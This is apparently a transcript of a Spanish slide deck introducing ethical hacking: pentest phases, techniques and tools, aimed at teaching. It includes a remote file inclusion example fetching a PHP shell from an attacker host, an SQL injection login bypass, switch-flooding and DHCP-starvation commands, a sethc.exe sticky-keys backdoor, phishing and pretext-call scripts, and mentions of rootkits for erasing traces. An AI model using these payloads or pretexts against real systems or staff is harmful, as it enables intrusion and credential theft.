Introduccion ethical hacking - chakan

74
Introducción al Ethical Hacking chakan

Transcript of Introduccion ethical hacking - chakan

Introducción al Ethical Hacking

chakan

CONTENIDO

Introducción

Que es un Penetration Testing?

Cuales son las ventajas de un Penetration Testing?

Tipos de Penetration Testing

Etapas de un Penetration Testing

Info Gathering

Escaneo y Enumeración

Planteamiento del ataque

Ataque

Elaboración de los Reportes

Técnicas Usadas en un Penetration Testing

Ingeniería Social

Fingerprinting

Escaneo de puertos TCP – UDP

Enumeración y detección de servicios vulnerables

Ataques a protocolos de red

Ataques a Web Aplications

Técnicas de evasión de Firewalls

Ejecución de Código Arbitrario

Desbordamientos de Memoria

Escalamiento de Privilegios

Borrado de Huellas

CONTENIDO (Cont.)

CONTENIDO (Cont.)

Herramientas utilizadas en un Penetration Testing

Comandos desde la Shell

Port scanners

Vulnerability scanners

Sniffers

Password Cracking Tools

Constructores de paquetes

Advisories

Exploits

Troyanos

Software de Administración Remota

Aclaración:

Estas son solo algunas de las herramientas Utilizadas en un Penetration Testing, existen otras muchas mas dependiendo el tipo de red, Topología y Sistema Operativo.

INTRODUCCION

Introducción

Hoy día hay una enorme necesidad de seguridad en las redes de computadoras. Pero esto no es casualidad: nuestra vida diaria depende de una manera impresionante de los sistemas informáticos.

Además, la evolución rápida y la demanda por la tecnología han traído como consecuencia que los programadores de software, en muchas ocasiones, releguen la seguridad a segunda prioridad.

Es ante esta falta de seguridad que desde individuos a corporaciones caen víctimas de piratas informáticos.

Es aquí donde juega un papel relevante el Ethical Hacking o Hacking Ético. Una disciplina de la seguridad de redes que se sustenta en el hecho de que para estar protegido se debe conocer cómo operan y quéherramientas usan los hackers.

Estos llamados Hackers Eticos (PEN-TESTER, por sus siglas en inglés) desarrollan lo que en la jerga de seguridad se conoce como Prueba de Penetración, (PEN-TEST por sus siglas en inglés).

Análisis de Seguridad

Es un conjunto de metodologías y técnicas para realizar una evaluación integral de las debilidades de los sistemas informáticos. Consiste en un modelo que reproduce intentos de acceso no autorizado a cualquier entorno informático de un intruso potencial desde los diferentes puntos de entrada que existan, tanto internos como externos. Se debe tener el permiso de la empresa para realizar las pruebas.

QUE ES UN PENETRATION TESTING?

VENTEJAS DE UN PENETRATION TESTING

Generar una visión de los riesgos y su impacto en la organización.

Identificar los problemas y darles una solución inmediata.

Implementación de nuevos y mejores modelos de seguridad resultantes de las pruebas de intrusión externas e internas.

Adelantarse a los Crackers, empleados o ex-empleados a identificar las vulnerabilidades del Sistema.

Generar mayor presupuesto para el área de Seguridad de la Información o Sistemas Informáticos.

Obtención de Información

Detección de Vulnerabilidades

Análisis y planeamiento de la información

Ataque /Escalar privilegios

Analisis de Resultados y Reportes

Limpieza

LISTO?Reposición / Pivot

Obtener tanta información como sea posible del destino.

Ataque, tomando ventaja de las vulnerabilidades detectadas.Comprometer un host obteniendo privilegios de system/user.

Cambios en los demas ataques - Tomar ventaja de los privilegios en sistemas obtenidos

Dejar todo como estaba antes del ataque

Entender la relación entre los componentes.Planeamiento del ataque.Identificación del destino.

Definición de alcance/objetivo

Definición de alcance

Detección de vulnerabilidades

Reportes

Fueron los objetivos alcanzados?

SI

NO

Que probar? Donde probar? Perfil del atacante.

Detección de Vulnerabilidades Penetration Testing

Obtención de Información

DETECCION DE VULNERABILIDADES VS. PENTEST

ETAPAS

ETAPAS DE UN PENETRATION TESTING

Esta es la primera etapa, donde se trata de obtener la mayor cantidad de información de la empresa a la cual se le hará el PenTest.

1 - Info Gathering1 - Info Gathering

Nombre de la empresa y rubro

Significado completo de las siglas de la Empresa

Número de empleados, áreas y departamentos de trabajo

Nombres del personal, Gerencias y Sub-Gerencias

Números de las Centrales Telefónicas, Internos

Pagina Web, número de servidores

S.O. de las estaciones de trabajo, número de workstations

Nombre de la empresa y rubroNombre de la empresa y rubro

Significado completo de las siglas de la EmpresaSignificado completo de las siglas de la Empresa

NNúúmero de empleados, mero de empleados, ááreas y departamentos de trabajoreas y departamentos de trabajo

Nombres del personal, Gerencias y SubNombres del personal, Gerencias y Sub--GerenciasGerencias

NNúúmeros de las Centrales Telefmeros de las Centrales Telefóónicas, Internosnicas, Internos

Pagina Web, nPagina Web, núúmero de servidoresmero de servidores

S.O. de las estaciones de trabajo, nS.O. de las estaciones de trabajo, núúmero de workstationsmero de workstations

ETAPAS DE UN PENETRATION TESTING

En esta etapa, se realiza el barrido de IP’s en busca de puertos abiertos para luego pasar a la enumeración de Puertos y Servicios activos en el server remoto.

2 - Escaneo y Enumeración2 - Escaneo y Enumeración

ETAPAS DE UN PENETRATION TESTING

Con toda la información obtenida de las etapas anteriores, acá nos encargamos de medir el alcance de nuestro Penetration Testing, en base a la información recopilada, dirigiendo nuestro ataque hacia:

- Puertos abiertos

- Servicios Web vulnerables

- Aplicaciones mal programadas

- Sistemas Operativos desactualizados

- Equipos de red mal configurados

3 - Planteamiento del Ataque3 - Planteamiento del Ataque

ETAPAS DE UN PENETRATION TESTING

En base a nuestro Plan de Ataque, en esta etapa llevamos a cabo todas las pruebas de intrusión planeadas para que de alguna forma, logremos acceder al server remoto o ejecutar código remoto arbitrario.

4 - Ejecución del Ataque4 - Ejecución del Ataque

ETAPAS DE UN PENETRATION TESTING

Esta es la última etapa en la cual se realizan los informes finales a la Alta Gerencia y la Gerencia de Sistemas, en los cuales debe ir toda la información resumida de las vulnerabilidades encontradas, los resultados del Penetration Testing y las soluciones posibles a corto y mediano plazopara realizar en la empresa.

5 - Elaboración de los Reportes5 - Elaboración de los Reportes

TECNICAS

TÉCNICAS USADAS EN UN PEN-TEST

Convencer a la gente de que haga algo que normalmente no debería, o nos de información clasificada

Ingeniería SocialIngeniería Social

Algún buen chico que quiera a ayudar a una linda chica en apuros ?????

Maria:

TÉCNICAS USADAS EN UN PEN-TEST

Existen varias técnicas, como:

Presénciales – Semipresenciales – No presenciales

Agresivas – No agresivas

Ingeniería SocialIngeniería Social

From: Super-User <[email protected]>To: Usuario <[email protected]>Subject: Cambio de claveBuen dia,Para realizar una serie de pruebas orientadas a conseguir un optimo funcionamiento de nuestro sistema, es necesario que cambie su clave. Hasta que reciba un nuevo aviso (aproximadamente en unasemana), por favor, asigne a su contraseña el valor ‘AES123' (en mayusculas).Rogamos disculpe las molestias. Saludos

AdministradorGerencia de Sistemas

Este es un ataque típico de e-mail spoofing hacia un cliente que mediante Ing. Social se a descubierto que no tiene conocimientos sólidos en Seguridad Informática, el cual seguirá al pie de la letra las instrucciones.

TÉCNICAS USADAS EN UN PEN-TEST

Ingeniería SocialIngeniería Social

Administrador: Buenos días, aquí área de sistemas, en qué podemos ayudarle? Atacante: Hola, soy Juan Pérez, Gerente de Créditos, llamaba porque no consigo recordar mi password en la máquina cliente027.miempresa.net Administrador: Un momento, me puede decir su nombre de usuario? Atacante: Sí, claro, es jperez. Administrador: Muy bien, la nueva contraseña que acabo de asignarle es password1234 . Por favor, no olvide cambiarla. Atacante: Por supuesto. Muchas gracias, ha sido muy amable.Administrador: De nada, un saludo.

Este es otro ataque de Ing. Social, que se realiza muy a menudo no solo para obtener la contraseña, sino para obtener números telefónicos, de celulares, direcciones y otras cosas que su imaginación les permita.

TÉCNICAS USADAS EN UN PEN-TEST

FingerprintingFingerprinting

Detectar el S.O. del Host remoto y sacar la mayor cantidad de información de él.

HEAD / HTTP/1.0

TÉCNICAS USADAS EN UN PEN-TEST

FingerprintingFingerprinting

TÉCNICAS USADAS EN UN PEN-TEST

Escaneo de puertos TCP - UDPEscaneo de puertos TCP - UDP

Búsqueda de puertos abiertos para enumeración de puertos y servicios remotos del Host.

Esta técnica, esta compuesta por otras mas complejas para poder escanear a través de Firewalls, como ser construcción de paquetes, escaneos con filtros de protocolo ICMP, escaneos con los flags del encabezado TCP, forzar respuestas ante peticiones válidas e invalidas, etc., etc.

TÉCNICAS USADAS EN UN PEN-TEST

Escaneo de puertos TCP - UDPEscaneo de puertos TCP - UDP

NMap, uno de los mejores escanners de Puertos.

TÉCNICAS USADAS EN UN PEN-TEST

Enumeración y Detección de Servicios VulnerablesEnumeración y Detección de Servicios Vulnerables

Todo Pen-Test debe llevar un registro ordenado de todos los puertos y servicios activos en el Host remoto, para asípoder hacerse una imagen del posible escenario de ataque.

http://www.iana.org/assignments/port-numbers

TÉCNICAS USADAS EN UN PEN-TEST

Enumeración y Detección de Servicios VulnerablesEnumeración y Detección de Servicios Vulnerables

TÉCNICAS USADAS EN UN PEN-TEST

Ataques a protocolos de RedAtaques a protocolos de Red

Esta técnica es uno de los primeros tipos de ataques que se realizan en un Pen-Test para sacar información del Host remoto, unidades compartidas, nombre del server, Dominio en el que trabaja, direcciones MAC, software instalado y hasta podemos conectarnos a Host remoto mapeando todas sus unidades a nuestra máquina, logrando acceder a información

confidencial en muchos casos.

obviamente todo esto se realiza si los puertos 137,138 y 139 están abiertos

TÉCNICAS USADAS EN UN PEN-TEST

Ataques a protocolos de RedAtaques a protocolos de Red

macof -i eth1

Spanning Tree Protocol (STP). Cisco Discovery Protocol (CDP). Dynamic Trunking Protocol (DTP). Dynamic Host Configuration Protocol (DHCP). Hot Standby Router Protocol (HSRP). 802.1q. Inter-Switch Link Protocol (ISL). VLAN Trunking Protocol (VTP).

dhcpstarv -i eth0

TÉCNICAS USADAS EN UN PEN-TEST

Ataques a protocolos de RedAtaques a protocolos de Red

TÉCNICAS USADAS EN UN PEN-TEST

Ataques a protocolos de RedAtaques a protocolos de Red

TÉCNICAS USADAS EN UN PEN-TEST

Ataques a protocolos de RedAtaques a protocolos de Red

DoS

TÉCNICAS USADAS EN UN PEN-TEST

Evasión de FirewallsEvasión de Firewalls

Existen varias formas de evadir los firewalls, una de las mas Existen varias formas de evadir los firewalls, una de las mas simples es por deduccisimples es por deduccióón ln lóógica.gica.

Internet

ISP

Web 80

FTP 21

SMTP 25

SQL 1433

Ssh 22

Rdesk 3389DMZ

LAN

Evasión de FirewallsEvasión de Firewalls

TÉCNICAS USADAS EN UN PEN-TEST

TÉCNICAS USADAS EN UN PEN-TEST

Evasión de FirewallsEvasión de Firewalls

Donde:xxx.xxx.xxx.xxx= ip del equipo vulnerado mediante sql injection.yyy.yyy.yyy.yyy= ip del equipo target real.r 22= al puerto que tratamos de conectar por detrás del firewall.s 22= el puerto exacto origen.l 135= el puerto permitido por el firewall.

TÉCNICAS USADAS EN UN PEN-TEST

Ejecución de Código ArbitrarioEjecución de Código Arbitrario

Esta técnica se puede realizar encontrando Bugs tanto en las Web Aplications, como en los diferentes servicios que se ejecutan en el Host remoto y consiste en aprovechar alguna falla para hacer que dicho Host, realice acciones o ejecute comandos en forma arbitraria para lo cual no esta programado. Pudiendo pedirle que realice desde un simple Ping a nuestro equipo, hasta pedirle que nos envíe su shell a un puerto específico en nuestro equipo, que nos liste sus directorios y archivos, que nos envíe cualquier archivo que le pidamos, entre otras muchas cosas más que se pueden hacer.

TÉCNICAS USADAS EN UN PEN-TEST

Ejecución de Código ArbitrarioEjecución de Código Arbitrario

TÉCNICAS USADAS EN UN PEN-TEST

Ejecución de Código ArbitrarioEjecución de Código Arbitrario

TÉCNICAS USADAS EN UN PEN-TEST

Cross Site Scripting XSSCross Site Scripting XSS

Es una técnica que permite explotar una vulnerabilidad debido a la mala programación y el filtrado no eficaz de los datos, la misma se basa en métodos de programación para ejecutar scripts arbitrarios y maliciosos en el cliente (JavaScript, VBscript, Activex).

TÉCNICAS USADAS EN UN PEN-TEST

Remote File InclusionRemote File Inclusion

RFI es una vulnerabilidad php que permite enlazar archivos que estan en servidores remotos, esta vulnerabilidad se produce por una mala programacion del webmaster. Es una de las técnicas de deface mas conocida.

http://www.victima.com/index.php?page=plantilla.html

El atacante podrá obtener una Shell en el servidor vulnerable mediante lo siguiente:

http://www.victima.com/index.php?page=http://www.atacante.com/shell.txt&&cmd=ls

Pudiendo contener el archivo shell.txt cualquier código, por ejemplo:

<? system($cmd); ?>

TÉCNICAS USADAS EN UN PEN-TEST

Inyección SQLInyección SQL

Login: yo' or 1=1--Pass: yo' or 1=1--http://example.com/login.asp?id=yo' or 1=1--

Es una vulnerabilidad en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL.

TÉCNICAS USADAS EN UN PEN-TEST

Ataque a las Web AplicationsAtaque a las Web Aplications

SMTP

HTTP

Sendmail

Exchange

Apache

IIS

Unix/LinuxUnix/Linux

MicrosoftMicrosoft

Unix/LinuxUnix/Linux

MicrosoftMicrosoft

FTP

SSH

PROXY

WU_FTPd

FTP Server

Ssh

Squid

Wingate

Unix/LinuxUnix/Linux

MicrosoftMicrosoft

Unix/LinuxUnix/Linux

MicrosoftMicrosoft

Unix/LinuxUnix/Linux

MicrosoftMicrosoftEn esta parte del ataque de acuerdo a la información obtenida, se trata de vulnerar el Host remoto mediante algún Bug en una de las Web Aplications instaladas. A esto se suman los ataques CGI’s, BOF, ejecución de código arbitrario, transversal directorys y otros mas.

TÉCNICAS USADAS EN UN PEN-TEST

Desbordamiento de MemoriaDesbordamiento de Memoria

Sucede cuando los datos enviados a un determinado servicio, exceden lo esperado, entonces se desborda la memoria del Buffer y se pueden sobrescribir los datos de retorno.Las consecuencias de ataques de este tipo pueden ser

Ataques de denegación de servicio

Ejecución de Código Arbitrario Remoto

Ganar privilegios sobre el sistema

Dar acceso a información critica

Acciones destructivas

La mayoría de los ataques en Internet hoy en día inclusive la de los virus y gusanos utilizan técnicas de desbordamiento de memoria o Buffer Over Flows como se las conoce.

TÉCNICAS USADAS EN UN PEN-TEST

Escalamiento de PrivilegiosEscalamiento de Privilegios

Cuando se logra acceder de alguna forma al sistema remoto y no se tienen los privilegios necesarios para continuar, es ahí donde se aplica esta técnica para elevar los privilegios en el Host remoto.

ren sethc.exe sethc2.execopy cmd.exe cmd2.execopy cmd2.exe sethc.exe

c:\control userpasswords

TÉCNICAS USADAS EN UN PEN-TEST

Borrado de HuellasBorrado de Huellas

Este es el último paso de un Pen-Test. Después de haber logrado acceder al Host remoto, haber capturado información confidencial o sensible y haber saltado todo sus sistema de seguridad, viene el borrado de huellas.

TÉCNICAS USADAS EN UN PEN-TEST

Borrado de HuellasBorrado de Huellas

TÉCNICAS USADAS EN UN PEN-TEST

Borrado de HuellasBorrado de Huellas

NTRootkit _root_

Win2Krootkit

HERRAMIENTAS

HERRAMIENTAS USADAS EN UN PEN-TEST

Comandos desde la ShellComandos desde la Shell

HERRAMIENTAS USADAS EN UN PEN-TEST

Port ScannersPort Scanners

Escaners de puertos los cuales nos ayudan a identificar servicios y

Web Aplications posiblemente vulnerables..

NMap, considerado

como la navaja

suiza de Internet,

permite

construcción de

paquetes,

fragmentación,

filtros ICMP y

muchas cosas mas.

HERRAMIENTAS USADAS EN UN PEN-TEST

Vulnerability ScannersVulnerability Scanners

Nessus detecta las vulnerabilidades presentes en una red (Sistemas Operativos, equipos de red, etc.) generando reportes y posibles soluciones.

HERRAMIENTAS USADAS EN UN PEN-TEST

Vulnerability ScannersVulnerability Scanners

Uno de los

scanners de

vulnerabilidades

mas poderosos

que existe para

servidores SQL

y Lotus Notes

de IBM

AppDetective 4.0

HERRAMIENTAS USADAS EN UN PEN-TEST

Vulnerability ScannersVulnerability Scanners

Scanner creado

por el Grupo de

Seguridad GFI,

utilizado por la

DEA y el FBI para análisis de redes y

vulnerabilidades,

uno de los

mejores con la

excepción de que

cuando se

encuentra con un

Firewall, muere el escaneo.

Languard Network Security Scanner

HERRAMIENTAS USADAS EN UN PEN-TEST

Vulnerability ScannersVulnerability Scanners

HERRAMIENTAS USADAS EN UN PEN-TEST

Sniffers en la Red LocalSniffers en la Red Local

Wireshark

Herramienta que coloca

nuestra placa de red en modo promiscuo para

que podamos escuchar

y aceptar todos los

paquetes que envían y

que les llegan a los

otros equipos.

Tiene filtros de protocolos para

identificar la

información de manera

mas rápida y no

funciona en redes

switcheadas (a menos

que se configure un

puerto del switch en modo mirror)

HERRAMIENTAS USADAS EN UN PEN-TEST

Sniffers en la Red LocalSniffers en la Red Local

Captura de una sesión de correo con Ethereal

Captura de una sesión de Telnet Captura de una sesión en Mixmail

Captura de una sesión en Hotmail

HERRAMIENTAS USADAS EN UN PEN-TEST

Password Cracking ToolsPassword Cracking Tools

Rompe contraseñas de NetBIOS

Remotamente John The Ripper el mejor Crackeador de contraseñas Unix – Linux y derivados

CAIN, crackeador de múltiples algoritmos de cifrado y opciones extras, como sniffer.

HERRAMIENTAS USADAS EN UN PEN-TEST.?

Password Cracking ToolsPassword Cracking Tools

L0phtcrack 4.0

El mejor Crackeador de

contraseñas para

sistemas Windows.

Puede sacar las

contraseñas desde el

equipo local, desde un

registro remoto, desde

un archivo SAM desde

un archivo PWDUMP o

desde cualquier otro

archivo LC.

Tiene sistema de

ataque por Diccionario,

Brute Force e Híbrido.

HERRAMIENTAS USADAS EN UN PEN-TEST

Constructores de PaquetesConstructores de Paquetes

hping2

Conocido también como el ping con esteroides !!! Una de las mejores herramientas para construcción de paquetes

-c 1: cuenta los paquetes.-S: especifica que utilizaremos paquetes con flags SYN.-p 80: especifica el puerto en este caso 80 (HTTP).Ahora la respuesta:ip=64.233.187.99: es la io que resolvio hping2.ttl=241: Time to Alive.sport=80: el puerto.flags=SA: Esto es lo que nos interesa, SA significa que envio un paquetecon los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto cheesy.Ahora un ejemplo de puerto cerrado:

Flags=RA En este caso resibimos RST y ACK o sea que el puerto esta cerrado

Constructores de PaquetesConstructores de Paquetes

HERRAMIENTAS USADAS EN UN PEN-TEST

Nemesis

Es un inyector de paquetes, su funcionamiento consiste en enviar tramas de datos a una red utilizando el protocolo tcp/ip. Se utiliza para probar y depurar servicios de red específicos. Es ideal para auditar servicios de red, pero también puede ser utilizada para realizar ataques a una red, como una inundación UDP y ARP poison.Soporta ARP, DNS, ICMP, IGMP, OSPF, RIP, TCP, UDP, protocolos capa 2 y capa 3.

HERRAMIENTAS USADAS EN UN PEN-TEST

AdvisoriesAdvisories

www.securityfocus.com

Considerado

como uno de

los mejores

Advisories ya

que muestra

información

del software

afectado, una

discusión del

problema, el

Exploit y la

forma de

solucionarlo.

HERRAMIENTAS USADAS EN UN PEN-TEST

ExploitsExploits

Programas dedicados a aprovechar ciertas fallas en una determinada aplicación o servicio.

Generalmente son programados en C o en Perl, pero los hay también eh Java, Visual, scripts, html, assembler, etc.

http://www.metasploit.com

HERRAMIENTAS USADAS EN UN PEN-TEST

ExploitsExploits

http://www.offensive-security.com/

HERRAMIENTAS USADAS EN UN PEN-TEST

TroyanosTroyanosEl uso de troyanos se utiliza como técnica para elevar los privilegios en el Sistema remoto, para así llegar a tener un control total del Host remoto.

Existen hoy en día técnicas para evasión de los antivirus en ambientes donde troyano y antivirus pueden vivir en armonia.

Existen hoy en día técnicas para evasión de los antivirus en ambientes donde troyano y antivirus pueden vivir en armonia.

HERRAMIENTAS USADAS EN UN PEN-TEST

Software de Administración RemotaSoftware de Administración Remota

Software que no es del grupo de los troyanos pero que se utiliza con el mismo objetivo, llegar a tener control total del Host remoto.

HERRAMIENTAS USADAS EN UN PEN-TEST.?

Distribucion para AuditoriaDistribucion para Auditoria

Existen varias distribuciones de Linux para realizar pruebas de seguridad, por ejemplo BackTrack, Pentoo, Kanoppix-STD, nUbuntu, Wifislax, etc.

PreguntasPreguntas

chakan

Referencia:

http://insecure.org

http://www.offensive-security.com

http://www.exploit-db.com

http://www.metasploit.com

http://www.backtrack-linux.org

http://www.securityfocus.com

http://packetstormsecurity.org

http://www.hackersforcharity.org/ghdb

http://www.vulnerabilityassessment.co.uk

http://www.dragonjar.org